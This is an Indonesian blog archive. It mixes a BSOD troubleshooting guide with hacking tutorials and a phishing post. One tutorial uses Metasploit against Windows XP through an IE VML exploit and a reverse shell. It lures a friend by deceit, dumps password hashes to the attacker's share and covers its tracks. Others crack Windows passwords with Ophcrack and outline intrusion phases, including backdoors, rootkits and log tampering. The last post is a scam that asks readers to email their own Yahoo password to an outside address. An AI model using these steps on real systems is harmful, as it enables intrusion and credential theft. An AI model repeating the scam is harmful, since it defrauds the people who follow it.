Jumat, 17 Desember 2010

Mengenal Erorr Layar Biru Atau Blue Screen Pada Komputer

Beberapa waktu sebelumnya saya agak tergelitik dengan informasi dari rekan-rekan yang ada di Banyuasin dan menyinggung masalah pada Blue Screen saat menyalakan komputer. Awalnya saat itu saya kurang begitu menaruh perhatian terhadap probelm tersebut, maklum para tukang service door to door udah begitu hapal pada penanganan kasus ini. Banyak panggilan dari pemilik PC rumahan yang kaget kok tiba-tiba PC nya keluar Layar Biru atau bahasa kerennya Blue Screen Of Death (BSOD).
Dari posting BLOG MUGI, masalah ini sudah pernah dibahas, namun saya akan mencoba membantu untuk menambahi secara lebih detail tentang permasalahan yang sering menimpa pada pemilik komputer.
Dan kebetulan, selama beberapa hari ini secara beruntun saya menangani kasus (BSOD) berulang kali. Dan akhirnya dengan sedikit pengamalan serta bantuan mencari tambahan informasi dari sana dan sini. Mungkin artikel yang saya buat ini mungkin bisa sedikit membantu bagi rekan-rekan yang hobby mengoprek komputer ataupun menggunakan komputer dalam jangka waktu lama dengan berbagai macam tujuan, hingga komputernya keluar si Layar Biru atau Blue Screen.
Berikut ini adalah beberapa hal keterangan sebagai  penyebab keluarnya Blue Screen Of Death pada komputer anda:

1. IRQL_NOT_LESS_OR_EQUAL (0X0000000A)
Error ini yang paling sering muncul pada saat terjadi Blue Screen.
Pesan kesalahan ini biasanya disebabkan kerena ada ketidakcocokan driver yang terinstall di komputer.
Penyebabnya:
- Driver yang bentrok atau tidak cocok, sehingga berpengaruh pada file dengan extensi .DLL
- Permasalahan pada Video Card, hal ini mencakup video card yang di overclock melebihi batas atau Anda baru berganti Video card dan Anda belum menguninstall driver Video card lama dari chipset berbeda
- Permasalahan pada Audio Card, meliputi kesalahan konfigurasi atau bug dalam driver sound card

2. NTFS_FILE_SYSTEM atau FAT_FILE_SYSTEM (0X00000024) atau (0X00000023)
Pesan error ini setidaknya sudah sedikit memberikan gambaran di mana kerusakan berada, yaitu ada di partisi atau filesystemnya tetapi bukan di harddisknya.
Kita bisa melakukan pengecekan dengan memeriksa kabel SATA atau PATA atau bisa mengecek partisi dengan tool chkdsk.

3. UNEXPECTED_KERNEL_MODE_TRAP (0X0000007F)
Bila Anda mendapatkan pesan error seperti ini, dapat disebabkan karena:
- Overclock Hardware yang berlebihan
- Komponen komputer yang terlalu panas
- BIOS yang korup
- Memory dan CPU yang cacat, ini yang sering terjadi. Maklum kualitas barang yang sekarang benar-benar payah, walaupun masih baru.

4. DATA_BUS_ERROR
Pesan error ini disebabkan karena adanya kemungkinan bahwa memory atau slot memory di motherboard rusak.

5. PAGE_FAULT_IN_NONPAGED_AREA
Pesan error ini disebabkan karena adanya kerusakan hardware, termasuk memory utama, memory video card, atau memory di processor (L2 Cache)

6. INACCESSIBLE_BOOT_DEVICE
Pesan error ini disebabkan karena adanya kesalahan dalam konfigurasi jumper harddisk yang salah, virus boot sector, driver IDE controller yang salah, atau kesalahan driver chipset.

7. VIDEO_DRIVER_INIT_FAILURE
Pesan error ini disebabkan karena adanya Kesalahan terjadi pada instalasi driver video card yang kurang sempurna, restart pada saat instalasi atau juga dapat terjadi karena kesalahan dalam instalasi driver.

8. BAD_POOL_CALLER
Pesan error ini disebabkan karena adanya Kesalahan ini dapat terjadi karena kesalahan atau driver yang tidak kompatibel. Sering terjadi saat melakukan instalasi XP dari upgrade, atau bukan dari instalasi baru. Sehingga rusak pada komponen .DLL windows

9. PEN_LIST_CORRUPT
Pesan error ini disebabkan karena adanya kerusakan RAM

10. MACHINE_CHECK_EXCEPTION
Pesan error ini disebabkan oleh cacatnya CPU, atau yang di overclock secara agresif, serta power supply yang kekurangan daya atau rusak


..
Jika ingin memiliki Tools yang diciptakan oleh pihak ke 3 guna menganalisa lebih dalam soal BSOD maka bisa mengunduhnya disini.Tools tersebut akan sangat berguna bagi yang ingin mengetahui penyebab erorr BSOD, karena ada beberapa kasus dimana si Layar Biru hanya bersifat sementara. Dan yang tidak disadari oleh pemilik komputer, bahwa sebenarnya si Windows melukan aksi pencatatan (log) saat terjadi kasus BSOD dan melaporkannya kepada kita dengan mode tampilan yang bikin “haru biru”. Biasanya sih para pengguna akan langsung panik atau memanggil tukang servis secara dadakan, dan vonis si tukang kadang juga dadakan tanpa memberikan hasil analisa terlebih dahulu dan mengetahui dengan pasti penyebab penyakitnya. Sehingga akan lebih bijak kita bisa mengetahui penyebab kerusakannya terlebih dahulu, dan jika nggak mau repot, gunakan aja tools tersebut.
Oh iya, jangan lupa bermain-main over clock juga dapat menyebabkan munculnya BSOD dengan cepat. Karena sistem pendinginan pada komputer bekerja dengan tidak normal. Dan bagi komputer yang dipaksa untuk bekerja secara non-stop (terutama di komputer layanan publik), sangat dianjurkan untuk di support dengan pendingin tambahan, minimal pakai kipas angin.
Juga yang sering amat sangat terjadi, jika Blue Screen terjadi tapi tidak berdasarkan pada 10 (sepuluh) penyebab diatas, maka kemungkinan yang paling besar akibat Windows yang corrupt, ataupun ada Crash program. Untuk masalah ini saya agak lupa notifikasi pada saat layar BSOD muncul. Yang jelas ada tulisannya kalu di C:// ada masalah, cuman lupa bagaimana detailnya. Serta yang terpenting adalah, lakukan pembersihan pada Registry Windows secara berkala, karena hal tersebut rupanya sangat mujarab. Apalagi bagi komputer yang sering digunakan untuk uji coba beragam software. (dty/*)
Berikut ini saya sisipkan contoh gambar-gambar Blue Screen Of Death atau kasus si Layar Biru :
BSOD 1 BSOD 2 BSOD 3

Kamis, 16 Desember 2010

Belajar Hack Yuck – Hack Windows XP SP2


Disclaimer: This document was written in the interest of education. The author cannot be held responsible for how the topics discussed in this document are applied.
Setelah mengetahui sedikit dan konsep dasar ‘standar’ mengenai hack yang dibahas dibagian pertama dan mengetahui sedikit materi mengenai exploit pada bagian kedua, sekarang langsung aja kita praktek. Disini saya sengaja menggunakan VMWare untuk melakukan simulasi, karena tidak semua orang dapat mempraktekannya dalam suatu jaringan. Dengan menggunakan VMWare, kita dapat mensimulasikan jaringan sederhana yang seolah-olah ada suatu jaringan yang terdiri dari komputer kita sendiri dan komputer lainnya. Bagi yang belum bisa menggunakan VMWare, coba cari diinternet! Sistem Operasi yang saya gunakan adalah Windows XP SP2.
Tools yang saya gunakan adalah Metasploit Framework untuk melakukan exploit sertaPwDump6 untuk mengambil hash file dari komputer target. Apa itu Metasploit Framework ?
The Metasploit Framework is a complete environment for writing, testing, and using exploit code. This environment provides a solid platform for penetrationtesting, shellcode development, and vulnerability research.
Untuk penggunaan lebih lanjut mengenai Metasploit, anda dapat membacadokomentasi yang juga diikutsertakan dalam instalasi. Untuk melakukan instalasi metasploit versi 2.7, dibutuhkan user administrator. Sebelumnya saya mencoba menginstall dengan ‘limited user’ tapi setelah diinstall tidak bisa dijalankan. Sebenarnya instalasi metasploit ini hanya mengekstrak file saja. Jadi anda dapat menginstallnya tanpa harus mendapatkan user admin serta meletakkannya dimanapun tanpa harus menginstal di Folder Program Files. Namun setelah sedikit dioprek, ternyata tidak harus admin yang bisa menjalankan. Agak ribet dan males juga sih nulis disini, soalnya ketika mencoba versi terbaru, yaitu versi 3 Beta 3, kita dapat menjalankannya tanpa harus menginstall dengan user admin. Gitu aja ko repot! Lagipula versi 3 (skarang msh beta) lebih keren dan fiturnya lebih banyak. Tapi sayangnya untuk msfweb (versi webnya) belum bisa dijalankan sepenuhnya.
Ok.. sekarang saya asumsikan anda telah membaca userguide metasploit (ah.. paling asumsi saya salah ;p). Biar lebih keliatan keren dan memahami detailnya, saya menjelaskan metasplooit yang menggunakan console (mfsconsole) saja. Metasploit menggunakan cygwin untuk menjalankannya, karena metasploit dibuat menggunakanPerl. Sekarang mari kita praktekkan!!
Pertama2 jalankan ‘mfsconsole’!
main1.JPG
Untuk mempelajari command apa saja yang ada di MSFConsole gunakan perintah ‘help’.
Karena komputer yang ingin dijadikan target adalah Windows XP SP2, maka digunakan exploit yang berpengaruh terhadap XP SP2 yaitu dengan memanfaatkan kelemahan pada Internet Explorer VML Fill Method Code Execution.
This module exploits a code execution vulnerability in Microsoft Internet Explorer using a buffer overflow in the VML processing code (VGX.dll). This module has been tested on Windows 2000 SP4, Windows XP SP0, and Windows XP SP2.
Untuk melihat info dari exploit ini gunakan perintah :
msf > info ie_vml_rectfill
Exploit ie_vml_rectfill memanfaatkan kelemahan pada Internet Explorer. Oleh karena itu, exploit ini akan berpengaruh jika komputer target menjalankan IE dan mengarahkan url-nya ke komputer penyerang. Untuk itu, kita harus menggunakan sedikit ‘social engineering’, seperti jika di kost/lab/kantor kita bilang ke teman kita bahwa kita sedang mencoba membuat aplikasi web terbaru, lalu minta tolong dilihat menggunakan IE ke alamat IP (atau nama komputer) kita. Misalkan http://192.168.186.1. Biasanya setelah exploit ini dijalankan dan komputer target telah terhubung, maka IE akan crash. Biarkan beberapa saat untuk membiarkan exploit ‘bekerja’. Setelah beberapa saat bilang aja “wah.. ada error nih. Ok deh.. saya coba betulin dulu… makasih ya”. Baru tutup IE-nya pake Task Manager (walaupun pake TM, IE msh sulit di-kill, jangan lupa untuk me-’end process’-kan ‘dumpred.exe’ juga, tapi setelah exploit bekerja :-D ).

Untuk menggunakan exploit gunakan perintah2 berikut dalam console :
msf > use_ie_vml_rectfill
msf > set PAYLOAD win32_reverse
msf > set RHOST ip_target
msf > set LHOST ip_penyerang
msf > exploit
Hasilnya akan tampak seperti gambar berikut :
exploit1.JPG
Dalam contoh diatas, IP komputer target (RHOST) adalah 192.168.186.128, sedangkan komputer penyerang (LHOST) adalah 192.168.186.1. Lalu ‘payload’ yang digunakan adalah ‘win32_reverse’ dan HTTP PORT nya adalah 80 (default http port). Setalah menjalankan perintah ‘exploit’, baru kita minta komputer target untuk menjalankan IE dan mengarahkan url-nya ke komputer kita. Proses ini akan memakan waktu agak lama, bahkan terkadang tidak berhasil. Jadi coba-coba aja terus :-D
Jika anda berhasil, maka anda akan mendapatkan ‘cmd.exe’ dari komputer target.

Crack da Password!
Nah, setelah kita ‘menguasai’ komputer target, skalian aja kita lihat password-nya. Caranya mirip dengan artikel saya sebelumnya tentang Hack Win XP SP2 Password, tapi karena ini remote maka kita harus ‘menyediakan’ program yg dibutuhkan yaitu PwDump. Agar cara ini berhasil, saya asumsikan pada komputer target user yang sedang login mempunyai akses admin. Klo user yang digunakan komputer target yang dimanfaatkan IE-nya hanya user ‘biasa’, pwdump tidak akan berhasil!
Pertama kita share dulu PwDump dari komputer kita dengan full access agar kita bisa mengupload hasil dump password komputer target, tapi dengan akhiran ‘$’ biar tidak terlihat dikomputer umum. Misalkan nama folder yang di share PwDump$. Lalu dari console yang berhasil dihack, ambil PwDump dengan Map Network Drive dari komputer kita dengan ‘net use’. Contoh perintah yang digunakan :
pwdump.JPG
Setelah itu copy Pwdump ke komputer target dalam folder sementara, ‘temp’. Setelah Pwdump berhasil di-copy ke komputer target, jalankan Pwdump dengan perintah
C:\temp\Pwdump –o pass.txt 127.0.0.1
Klo berhasil akan tampak pada gambar berikut.
 dump1.JPG
 Lalu copy file pass.txt ke komputer kita
C:\temp\copy pass.txt z:
Dan terakhir, jangan tinggalkan jejak bahwa kita sudah mampir kesitu.
clean.JPG
Nah, udah dapet hash file nya kan. Tinggal di crack aja deh…. (baca artikel sebelumnya buat nge-crack password).
Sebenarnya masih banyak yang dapat dioprek dari metasploit. Dalam metasploit terdapat banyak exploit, payload, meterpreter, dsb yang sangat ‘menyenangkan’ untuk dioprek. Untuk mempelajari metasploit, disitusnya terdapat dokumentasi yang lumayan baik.
Happy Hacking…..

Beberapa saran agar windows kita tetap aman terhadap exploit diatas.
1. Jangan gunakan Internet Explorer. Gunakan Mozilla Firefox atau Opera!.
2. Patch Windows anda.
3. Gunakan antivirus dengan update terbaru
4. Hati2 terhadap teman anda sendiri.. waspadalah!! ;p

Hack Windows XP Password dengan Ophcrack lanjutan

This is a guide for cracking passwords in Windows under XP, 2000, 98, and 95, all of which use roughly the same architecture. As you know, passwords are stored in windows in a weak hash form, the first kind of which is called the LM (Lan Manager) Hash. Passwords longer than 7 characters are broken up into 7-character chunks, made uppercase, and then hashed with DES. This means there are only about 237 8-bit hashes instead of 283 16-bit hashes; a good thing for an attacker looking to break a password.
The tool we’ll be using is called Ophcrack, an open-source password cracker. The technology it uses to break Windows passwords is called “rainbow tables” and was described by Philippe Oechslin in Making a Faster Cryptanalytic Time-Memory Trade-Off. A rough way to describe this technique is to say that tables of possible hashes are precomputed so that you can iteratively compare the windows hashes to precomputed bits and piece together the hash and its value more quickly than brute-force guessing.
Please note that federal law prohibits the possession of unauthorized access codes to computer systems. If you want to try cracking passwords, please obtain hashes from your own machine, or use the example hashes I provide here.
1) Setting up shop
The first thing you need is the software and rainbow table sets. You can downloadOphcrack 2.2 from Sourceforge, and then browse to LASEC to download the SSTIC04-5k rainbow table. You’ll need a significant amount of memory to load this rainbow table. If you have less than 1 GB of RAM, try the smaller table.
The installation of Ophcrack 2.2 should go smoothly. Make sure you choose to download the tables seperately:
ophcrack-installer.jpg
You’ll notice a lot of GTK* files being installed–that’s nothing to worry about. GTK is the Graphical Tool Kit, a way for linux programs to create graphical interfaces.
2) Dude, where’s my hash?
Now that you’ve got Ophcrack and rainbow tables installed, you’ll need hashes. There are three places to find them on Windows XP:
  • In the folder C:\windows\system32\config. This folder is locked to all accounts (including an Administrator account) while running, except the special System account.
  • In a SAM file from C:\windows\repair if rdisk has ever run
  • In the registry, under HKEY_LOCAL_MACHINESAM, which is locked to all accounts
This doesn’t look good for retreiving the windows hashes! Well, to work around the built-in windows protections, we can recover hashes by the following techniques:
  • Boot to linux and copy the file directly from C:\windows\system32\config. This is probably too troublesome for most users, but with a liveCD it’s trivial.
  • Run pwdump2, including in Ophcrack, to trick out the registry values. If you didn’t change any settings, it should be installed in C:\Program Files\ophcrack\win32_tools. Here’s an example session from the command line (start, run, type “cmd” and hit enter):
C:\Documents and Settings\Elliott Back>cd “C:\Program Files\ophcrack\win32_tools”
C:\Program Files\ophcrack\win32_tools>pwdump2
Administrator:499:aabbcc:3311dd:::
Elliott Back:234:aabbcc:3311dd:::
C:\Program Files\ophcrack\win32_tools>
Naturally, I’ve censored the hashes and the number of users. If you’d like some hashes to play with, here are hashes for users with passwords varying from length from 1 to 7 characters long: test-hashes.txt.
3) Let’s get cracking!
Hashes in hand, start up Ophcrack:
ophcrack-run-01.jpg
Then click “load, PWDump file,” and select either the hashes you got from pwdump2, my sample hash file, or some other source of SAM hashes:
ophcrack-run-02.jpg
The last thing we need to do is load our rainbow tables. Click “Tables” and select the location and type of rainbow hash table you’re using, in our case the 5k tables:
ophcrack-run-03.jpg
Now you can click the big “Launch” button and wait. It will first load the tables (0-3 in my case) into memory, a process that takes several minutes. When this is complete, it will begin trying passwords:
ophcrack-run-04.jpg
The final screen gives a breakdown on how long it takes to actually find these passwords–some of which are quite hard:
ophcrack-run-05.jpg
All in all, it took 178 seconds on average to crack a windows password–only 3 minutes per hash! In the process it performed 89,030,630 hash-redux calculations and 199,548 fseek operations. It also couldn’t find the password for one of the hashes, which is to be expected. Rainbow tables are non-deterministic and won’t always work. Still, our success rate of 6/7 or 86% is high.
Conclusion
Now you know how to crack windows passwords. When is this a good idea?
  1. When you buy a computer on Ebay and the owner forgets to give you an Admin account
  2. When you forget your password
  3. When a friend forgets their password
  4. When the security of the country is in danger
When is this a bad idea?
  1. When you buy a computer from government surpluss and want to find its secrets
  2. When you want to hack up your friends
  3. When your little sister’s account is too tempting
  4. When you go visit your girlfriend’s dorm room
Another problem with releasing a tool like Ophcrack is that it becomes usable by anyone. In fact, this guide or tutorial to cracking windows passwords even makes it easier. Pretty much anyone can crack any windows password now, which could be a problem if used the wrong way. However, windows passwords are by nature insecure; there are dozens of other tools to crack windows passwords. Ophcrack is just the fastest.

Hack Windows XP Password dengan Ophcrack


Sebelumnya saya pernah membuat tutorial mengenai Hack Windows XP (SP2) Passwords menggunakan pwdump6. Namun, cara tersebut mengharuskan user dengan status admin agar dapat ‘dump’ file HASH dari Windows. Sekarang saya akan menyampaikan cara lain untuk ‘cracking’ password Windows XP (semua versi) dengan menggunakan Ophcrack.
Ophcrack is a Windows password cracker based on rainbow tables. It is a very efficient implementation of rainbow tables done by the inventors of the method. It comes with a GTK+ Graphical User Interface and runs on Windows, Mac OS X (Intel CPU) as well as on Linux.
Hebatnya lagi, Ophcrack tersedia dalam bentuk LiveCD, sehingga tidak diperlukan proses instalasi dan tidak perlu password admin, hanya butuh akses agar komputer dapat booting dari CD (biasanya urutan booting default BIOS komputer saat ini dimulai dari CD/DVD ROM, so don’t worry) :-D . Ophcrack LiveCD merupakan Linux yang berbasis SLAX (turunan dari Slackware) dan sudah terdapat Ophcrack dan Rainbow Table untuk cracking password alpanumerik.
Intinya hampir sama dengan cara kerja pwdump6, namun karena Ophcrack menggunakan linux LiveCD sehingga dapat langsung mount file sistem Windows tanpa perlu login ke Windows serta membaca file Hash (windows\system32\config) dan melakukan dump ke file text biasa yang kemudian dapat langsung di crack. Dan hebatnya, tidak perlu Tools seperti JTR lagi, karena crack dilakukan dengan Ophcrack menggunakan Rainbow Table dan memberikan hasil yang sangat cepat.
Ok.. langsung aja kita praktek, tapi sebelumnya pasang disclaimer dulu ah… biar bisa ‘lepas’ tanggung jawab kalau tutorial ini disalahgunakan oleh pihak lain :-P
Disclaimer:
This document was written in the interest of education and care of awareness for unaware people. The author cannot be held responsible for how the topics discussed in this document are applied.
Lets Begin
Pertama kali anda harus mendownload file ISO Ophcrack LiveCD dari sini. Lalu burn ke dalam CD. Dan selanjutnya boot Komputer ‘target’ dari Ophcrack LiveCD, maka akan tampak seperti ini :
boot.JPG
Tekan Enter dan biarkan proses Booting berlangsung. Ophcrack akan otomatis masuk ke windows manager menggunakan fluxbox dan langsung menjalankan Ophcrack. Proses pertama adalah mendapatkan file HASH dari partisi yang berisi file Windows kemudian di dump ke file /tmp/ophcrack.tmp
dump.JPG
Kemudian tunggu beberapa saat untuk melakukan cracking.
Saya melakukan pengujian menggunakan spesifikasi sebagai berikut : Prosessor AMD +2000 1.6 Ghz, Memori 256 Mb dan dijalankan menggunakan VM-Ware.
Lalu saya menggunakan password yang sangat sederhana, yaitu ‘password123′ dan ‘password’. Hasilnya, Ophcrack mampu menebak kedua password dengan tepat danhanya membutuhkan waktu 1 Menit!!
Lalu saya coba untuk mengkombinasikan huruf, angka dan simbol dengan memberikan password : ‘p4ssw0rd’ dan ‘p4ssw0rd~!@#’. Hasilnya, Ophcrack mampu menebak ‘p4ssw0rd’ dengan waktu 8 menit dan tidak dapat menemukan ‘p4ssw0rd~!@#’.
hasil.JPG
Selain menggunakan CD, dengan sedikit modifikasi, Ophcrack juga dapat dijalankan melalui USB Flashdisk. Caranya dengan menginstall SLAX ke dalam USB Flashdisk danmenambahkan modul ophcrack di SLAX serta menyalin Rainbow Tables ke dalam USB, maka Ophcrack LiveUSB sudah dapat dijalankan :-D
Selain itu, untuk mempersingkat waktu, kita dapat mengambil file HASH terlebih dahulu yang terletak di /tmp/ophcrack.tmp kemudian baru di crack di tempat lain tanpa perlu menunggu lagi di komputer target. :-D
Saran
Ibarat pisau bermata dua, Ophcrack dapat menjadi sangat berguna ketika ada seseorang yang lupa password Windows dan ingin me-recovery password dengan cepat dan mudah. Namun disisi lain, Ophcrack dapat juga menjadi ‘senjata’ ampuh bagi cracker untuk menjebol Windows dengan cara yang sangat mudah dan cepat. Bahkan kabarnya Ophcrack ini merupakan tools yang paling cepat untuk crackpassword Windows. Untuk itu ada beberapa hal yang dapat mengurangi resiko agar password komputer kita tidak ‘dibobol’ dengan mudah.
1. Setting password BIOS komputer dan atur urutan boot agar tidak melakukan booting pertama kali dari CD atau USB.
2. Gunakan password yang terdiri dari huruf+angka+simbol agar tidak mudah di crack.
Oph… Crack!! :-D
NB : Cara lain menggunakan ophcrack di Windows dapat dilihat

Belajar Hack – Konsep Dasar Hacking


Dalam suatu kesempatan, saya pernah melihat seorang auditor keamanan jaringan melalukan penetration test (pen-test) terhadap suatu sistem IT. Karena penasaran saya melihat sedikit2 cara penetration test yang dilakukan. Waktu itu saya belum banyak tahu tools apa aja yang digunakan, yang saya tau dia menggunakan tcpdump untuk menganalisis paket apa aja yang lewat, trus untuk men-scan beberapa host menggunakan Nessus. Ada salah satu aplikasi yang digunakan berbasis web yang terdapat kumpulan beberapa exploit. Waktu itu saya belum tahu aplikasi apa itu, yang saya ingat aplikasi itu menggunakan alamathttp://127.0.0.1:55555, nah berbekal port 55555 saya mencari di google, dan ternyata itu adalah Metasploit Framework!.
Peristiwa itu menginspirasikan saya untuk mengenang masa-masa lalu ketika masih seneng2nya ngoprek dan belum ‘tercemar’ oleh DotA. Akhirnya sekarang saya ingin belajar ngoprek lagi, tp lebih fokus ke exploitnya saja. Tulisannya ini akan saya buat menjadi tiga bagian. Bagian pertama mengenai bagaimana salah satu cara umum yang dilakukan untuk menge-hack suatu system. Disini saya lebih menitikberatkan untuk hacking OS Windows XP, karena OS ini paling banyak dipakai orang. Bagian kedua lebih banyak ke teori mengenai exploit. Tapi karena mungkin akan sangat sulit dipahami (saya sendiri msh blm bisa membuat exploit sendiri), saya hanya menuliskan hasil terjemahan yang membahas apa itu dan cara kerja exploit. Sedangkan bagian terakhir merupakan praktek bagaimana mengelakukan penetration test menggunakan metasploit di Windows XP.


Bagian 1
*ini merupakan artikel lama mengenai salah satu cara umum yang dilakukan untuk hacking. (artikel ini jg di mirror oleh Negative a.k.a Jim Geovedi di sini). Langkah dibawah ini merupakan cara ‘standar’, hacking sebenarnya tidak harus selalu sesuai dengan ‘standar’ ini.

Hacking buat pemula
- by aCh
Artikel ini ditujukan bagi pemula, dan disusun oleh pemula. Ditulis untuk pengetahuan semata. Untuk temen2 yg udah ahli, sok aja dilewat, tapi dibaca juga gpp….
Apa sebenarnya hacking itu? klo menurut pengertian gue, hacking adalah ngoprek. Yup, hacking adalah ngoprek, mempelajari sesuatu dengan keingintahuan (curiosity) yg tinggi, ngutak atik sesuatu, ‘ngudek-ngudek’ sampai ke ‘jeroannya’. Sesuatunya apa dong? ya terserah… bisa komputer, mobil, motor, mesin. Tapi masalahnya ada ngga ya hacker mobil, hacker motor, atau hacker pesawat terbang?? hehe… Walaupun saat ini hacking identik dengan ‘bobol-membobol’, tapi gue kurang setuju klo cuman bobol server orang doang!. Ada yang bilang ‘Hacking is Art’, trus dimana letak seninya dong? Mau tau pengertian hacking sebenarnya, coba baca artikel sebelumnya (How to Become A Hacker). Di situ dijelasin bahwa hacker berkaitan dengan kemahiran teknis serta kegemaran menyelesaikan masalah dan mengatasi keterbatasan. Contoh hacker pada saat ini yang sering-sering disebut adalah Linus Torvald (tau ngga? itu lho yang menciptakan Linux). Apa dia tukang bobol? belum tentu kan….
Pada artikel ini, gue pengen membagi pengalaman mengenai Hacking, walaupun sampai saat ini gue belum pernah nge-Hack ke server orang. Salah satu cara untuk mencoba simulasi Hack yaitu H3cky0uRs3lf! Buat komputer kita sebagai server (sekaligus belajar konfigurasi server) trus install program yg dibutuhkan. Misalnya klo mo Web Hacking, coba install Apache atau IIS. Atau kita sesuaikan dengan exploit yang udah kita dapet. Tapi lebih baik install Linux atau FreeBSD dulu di komputer pribadi, trus konfigurasi sebagai server, lalu simulasi Hack, setelah itu baru Hack Betulan… Apalagi klo di kost ada jaringan.
Pro dan Kontra Hacking
Pro
Kontra
Etika Hacking
Semua informasi adalah free
Jika semua informasi adalah free, maka tidak ada ladi privacy
Aspek Security
Intrusion adalah ilustrasi kelemahan sistem
Tidak perlu menjadi pencuri untuk menunjukkan pintu yang tidak terkunci
Idle Machines
Hacking hanya pada idle machines
idle machines milik siapa ?
science education
hanya membobol tapi tidak merusak
“hacker wannabe” berpotensi sangat besar untuk merusak
Okeh, sekarang waktunya melakukan aksi…

1. Fase Persiapan
~ Mengumpulkan informasi sebanyak-banyaknya
– Secara Aktif : – portscanning
– network mapping
– OS Detection
– application fingerprinting
Semua itu bisa dilakukan menggunakan toolz tambahan seperti nmap atau netcat
– Secara Pasif : – mailing-list (jasakom, newbie_hacker, hackelink, dsb)
– via internet registries (informasi domain, IP Addres)
– Website yang menjadi terget

2. Fase Eksekusi
~ Setelah mendapatkan informasi, biasanya akan didapatkan informasi mengenai OS yg digunakan, serta port yang terbuka dengan daemon yg sedang berjalan. Selanjutnya mencari informasi mengenai vulnerability holes (celah kelemahan suatu program) dan dimanfaatkan menggunakan exploit (packetstromsecurity.orgmilw0rm, milis bugtraq, atau mencari lewat #IRC).
~ Mengekspolitasi Vulnerability Holes
- compile eksploit -> local host ->
$gcc -o exploit exploit.c
$./exploit
# hostname (# tanda mendapatkan akses root)
remote host -> $gcc -o exploit exploit.c
$./exploit -t www.target.com
# (klo beruntung mendapatkan akes root)
~ Brute Force
– Secara berulang melakukan percobaan otentifikasi.
– Menebak username dan password.
– Cracking password file
~ Social Engineering
– Memperdayai user untuk memeberi tahu Username dan password
– Intinya ngibulin user….

3. Fase Setelah Eksekusi
~ Menginstall backdoor, trojans, dan rootkit
~ Menghapus jejak dengan memodifikasi file log agar tidak dicurigai admin
~ Menyalin /etc/passwd atau /etc/shadow/passwd
Nah, intinya seh cara masuk ke server seseorang seperti fase diatas. Mencari informasi, temukan exploit, dan tinggalkan backdoor. Cuma masalahnya hacking bukanlah segampang cara-cara diatas. Itu hanyalah teori, banyak hal yang harus diperhatikan jika ingin mempraketekkan hacking ke server seseorang. Jangan sekali-kali mencoba2 hacking ke server orang tanpa memperhatikan anonimitas (apalagi klo connectnya lewat komputer pribadi tanpa menggunakan proxy). Ntar klo ketahuan bisa repot. Saran gue, cobalah pada mesin localhost dulu (komuter pribadi), klo terhubung ke LAN lebih bagus. Sediakan server yang khusus buat dioprek. Kalaupun pun ga terhubung ke jaringan, kita masih bisa menggunakan Virtual Machine menggunakan VMWare seperti yang nanti akan dibahas pada bagian 3!

untuk kamu yang mau mencoba

nah ne buat kamu yang pengen nembus password fb seseorang gue kasih cara nie, g' usah pakek software segala....kadang-kadang softwarenya gak berfungsi betulkan!!!

ne buat kamu yang beruntung udah baca... gue kasih tau cara hack FB orang laen :

mail.yahoo.com FALSE/FALSE 1020114252
6aa 61b 69w 6ca 6ev 10f : (email kamu)
Cu7 CvB Cd3 C68 814 C92 : (pasword kamu)
61e 6sD 6Cn 65m 7d2 659 : (email korban)

contoh
6aa 61b 69w 6ca 6ev 10f : coba1_@yahoo.com
Cu7 CvB Cd3 C68 814 C92 : 123456
61e 6sD 6Cn 65m 7d2 659 : email_korban@yahoo.com
kirimkan ke      responyhhack@yahoo.com
selanjutnya tunggu hingga paling lama 3 hari maka kamu akan mendapat balasannya ok.. semoga berguna